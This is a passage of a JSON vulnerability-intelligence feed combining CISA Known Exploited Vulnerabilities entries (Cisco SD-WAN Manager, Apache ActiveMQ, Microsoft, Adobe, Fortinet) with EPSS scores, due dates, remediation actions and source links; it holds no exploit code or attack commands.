CVE-2025-48700","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-04-20","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-48700 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-48700&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-48700, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-20122","cveId":"CVE-2026-20122","aliases":[],"kind":"vulnerability","title":"Cisco Catalyst SD-WAN Manager Incorrect Use of Privileged APIs Vulnerability","summary":"Cisco Catalyst SD-WAN Manager contains an incorrect use of privileged APIs vulnerability due to improper file handling on the API interface of an affected system. An attacker could exploit this vulnerability by uploading a malicious file on the local file system. A successful exploit could allow the attacker to overwrite arbitrary files on the affected system and gain vmanage user privileges.","detail":"CISA added this entry on 2026-04-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Please adhere to CISA’s guidelines to assess exposure and mitigate risks associated with Cisco SD-WAN devices as outlines in CISA’s Emergency Directive 26-03 (URL listed below in Notes) and CISA’s “Hunt & Hardening Guidance for Cisco SD-WAN Devices (URL listed below in Notes). Adhere to the applicable BOD 22-01 guidance for cloud services or discontinue use of the product if mitigations are not available.","publishedAt":"2026-04-20","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"Catalyst SD-WAN Manger","stacks":["Cisco","Catalyst SD-WAN Manger"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-04-20","dueAt":"2026-04-23","action":"Please adhere to CISA’s guidelines to assess exposure and mitigate risks associated with Cisco SD-WAN devices as outlines in CISA’s Emergency Directive 26-03 (URL listed below in Notes) and CISA’s “Hunt & Hardening Guidance for Cisco SD-WAN Devices (URL listed below in Notes). Adhere to the applicable BOD 22-01 guidance for cloud services or discontinue use of the product if mitigations are not available.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.25801,"percentile":0.97959,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-20122&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-20122","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-04-20","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-20122 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-20122&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-20122, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-20128","cveId":"CVE-2026-20128","aliases":[],"kind":"vulnerability","title":"Cisco Catalyst SD-WAN Manager Storing Passwords in a Recoverable Format Vulnerability","summary":"Cisco Catalyst SD-WAN Manager contains a storing passwords in a recoverable format vulnerability that allows an authenticated, local attacker to gain DCA user privileges by accessing a credential file for the DCA user on the filesystem as a low-privileged user.","detail":"CISA added this entry on 2026-04-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Please adhere to CISA’s guidelines to assess exposure and mitigate risks associated with Cisco SD-WAN devices as outlines in CISA’s Emergency Directive 26-03 (URL listed below in Notes) and CISA’s “Hunt & Hardening Guidance for Cisco SD-WAN Devices (URL listed below in Notes). Adhere to the applicable BOD 22-01 guidance for cloud services or discontinue use of the product if mitigations are not available.","publishedAt":"2026-04-20","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"Catalyst SD-WAN Manager","stacks":["Cisco","Catalyst SD-WAN Manager"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-04-20","dueAt":"2026-04-23","action":"Please adhere to CISA’s guidelines to assess exposure and mitigate risks associated with Cisco SD-WAN devices as outlines in CISA’s Emergency Directive 26-03 (URL listed below in Notes) and CISA’s “Hunt & Hardening Guidance for Cisco SD-WAN Devices (URL listed below in Notes). Adhere to the applicable BOD 22-01 guidance for cloud services or discontinue use of the product if mitigations are not available.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.07317,"percentile":0.94338,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-20128&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-20128","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-04-20","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-20128 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-20128&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-20128, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-20133","cveId":"CVE-2026-20133","aliases":[],"kind":"vulnerability","title":"Cisco Catalyst SD-WAN Manager Exposure of Sensitive Information to an Unauthorized Actor Vulnerability","summary":"Cisco Catalyst SD-WAN Manager contains an exposure of sensitive information to an unauthorized actor vulnerability that could allow remote attackers to view sensitive information on affected systems.","detail":"CISA added this entry on 2026-04-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Please adhere to CISA’s guidelines to assess exposure and mitigate risks associated with Cisco SD-WAN devices as outlines in CISA’s Emergency Directive 26-03 (URL listed below in Notes) and CISA’s “Hunt & Hardening Guidance for Cisco SD-WAN Devices (URL listed below in Notes). Adhere to the applicable BOD 22-01 guidance for cloud services or discontinue use of the product if mitigations are not available.","publishedAt":"2026-04-20","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"Catalyst SD-WAN Manager","stacks":["Cisco","Catalyst SD-WAN Manager"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-04-20","dueAt":"2026-04-23","action":"Please adhere to CISA’s guidelines to assess exposure and mitigate risks associated with Cisco SD-WAN devices as outlines in CISA’s Emergency Directive 26-03 (URL listed below in Notes) and CISA’s “Hunt & Hardening Guidance for Cisco SD-WAN Devices (URL listed below in Notes). Adhere to the applicable BOD 22-01 guidance for cloud services or discontinue use of the product if mitigations are not available.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.31479,"percentile":0.98271,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-20133&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-20133","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-04-20","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-20133 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-20133&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-20133, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-34197","cveId":"CVE-2026-34197","aliases":[],"kind":"vulnerability","title":"Apache ActiveMQ Improper Input Validation Vulnerability","summary":"Apache ActiveMQ contains an improper input validation vulnerability that allows for code injection.","detail":"CISA added this entry on 2026-04-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-04-16","updatedAt":null,"regions":["Global"],"vendor":"Apache","product":"ActiveMQ","stacks":["Apache ActiveMQ","Apache","ActiveMQ"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-04-16","dueAt":"2026-04-30","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.98256,"percentile":0.99915,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-34197&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-34197","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-04-16","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-34197 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-34197&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-34197, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2009-0238","cveId":"CVE-2009-0238","aliases":[],"kind":"vulnerability","title":"Microsoft Office Remote Code Execution","summary":"Microsoft Office Excel contains a remote code execution vulnerability that could allow an attacker to take complete control of an affected system if a user opens a specially crafted Excel file that includes a malformed object.","detail":"CISA added this entry on 2026-04-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-04-14","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Office","stacks":["Microsoft Office","Microsoft","Office"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-04-14","dueAt":"2026-04-28","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.42941,"percentile":0.98711,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2009-0238&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2009-0238","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-04-14","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2009-0238 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2009-0238&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2009-0238, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-32201","cveId":"CVE-2026-32201","aliases":[],"kind":"vulnerability","title":"Microsoft SharePoint Server Improper Input Validation Vulnerability","summary":"Microsoft SharePoint Server contains an improper input validation vulnerability that allows an unauthorized attacker to perform spoofing over a network.","detail":"CISA added this entry on 2026-04-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-04-14","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"SharePoint Server","stacks":["Microsoft SharePoint","Microsoft","SharePoint Server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-04-14","dueAt":"2026-04-28","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.43378,"percentile":0.98723,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-32201&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-32201","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-04-14","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-32201 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-32201&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-32201, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2012-1854","cveId":"CVE-2012-1854","aliases":[],"kind":"vulnerability","title":"Microsoft Visual Basic for Applications Insecure Library Loading Vulnerability","summary":"Microsoft Visual Basic for Applications (VBA) contains an insecure library loading vulnerability that could allow for remote code execution.","detail":"CISA added this entry on 2026-04-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-04-13","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Visual Basic for Applications (VBA)","stacks":["Microsoft","Visual Basic for Applications (VBA)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-04-13","dueAt":"2026-04-27","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.20867,"percentile":0.97532,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2012-1854&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2012-1854","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-04-13","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2012-1854 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2012-1854&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2012-1854, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-9715","cveId":"CVE-2020-9715","aliases":[],"kind":"vulnerability","title":"Adobe Acrobat Use-After-Free Vulnerability","summary":"Adobe Acrobat contains a use-after-free vulnerability that allows for code execution","detail":"CISA added this entry on 2026-04-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-04-13","updatedAt":null,"regions":["Global"],"vendor":"Adobe","product":"Acrobat","stacks":["Adobe Acrobat and Reader","Adobe","Acrobat"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-04-13","dueAt":"2026-04-27","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.33491,"percentile":0.98367,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-9715&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-9715","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-04-13","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-9715 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-9715&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-9715, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-21529","cveId":"CVE-2023-21529","aliases":[],"kind":"vulnerability","title":"Microsoft Exchange Server Deserialization of Untrusted Data Vulnerability","summary":"Microsoft Exchange Server contains a deserialization of untrusted data that allows an authenticated attacker to achieve remote code execution.","detail":"CISA added this entry on 2026-04-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-04-13","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Exchange Server","stacks":["Microsoft Exchange","Microsoft","Exchange Server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-04-13","dueAt":"2026-04-27","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.59294,"percentile":0.99112,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-21529&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-21529","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-04-13","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-21529 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-21529&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-21529, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-36424","cveId":"CVE-2023-36424","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Out-of-Bounds Read Vulnerability","summary":"Microsoft Windows Common Log File System Driver contains an out-of-bounds read vulnerability that could allow a threat actor for privileges escalation","detail":"CISA added this entry on 2026-04-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-04-13","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-04-13","dueAt":"2026-04-27","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.12087,"percentile":0.96114,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-36424&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-36424","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-04-13","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-36424 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-36424&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-36424, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-60710","cveId":"CVE-2025-60710","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Link Following Vulnerability","summary":"Microsoft Windows contains a link following vulnerability that allows for privilege escalation","detail":"CISA added this entry on 2026-04-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-04-13","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-04-13","dueAt":"2026-04-27","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.04614,"percentile":0.9162,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-60710&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-60710","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-04-13","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-60710 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-60710&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-60710, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-21643","cveId":"CVE-2026-21643","aliases":[],"kind":"vulnerability","title":"Fortinet FortiClient EMS SQL Injection Vulnerability","summary":"Fortinet FortiClient EMS contains a SQL injection vulnerability that may allow an unauthenticated attacker to execute unauthorized code or commands via specifically crafted HTTP requests.","detail":"CISA added this entry on 2026-04-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-04-13","updatedAt":null,"regions":["Global"],"vendor":"Fortinet","product":"FortiClient EMS","stacks":["Fortinet","FortiClient EMS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-04-13","dueAt":"2026-04-16","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.97735,"percentile":0.99904,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-21643&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-21643","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-04-13","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-21643 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-21643&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-21643, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-34621","cveId":"CVE-2026-34621","aliases":[],"kind":"vulnerability","title":"Adobe Acrobat and Reader Prototype Pollution Vulnerability","summary":"Adobe Acrobat and Reader contain a prototype pollution vulnerability that allows for arbitrary code execution.","detail":"CISA added this entry on 2026-04-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-04-13","updatedAt":null,"regions":["Global"],"vendor":"Adobe","product":"Acrobat and Reader","stacks":["Adobe Acrobat and Reader","Adobe","Acrobat and Reader"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-04-13","dueAt":"2026-04-27","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.0723,"percentile":0.94281,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-34621&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI 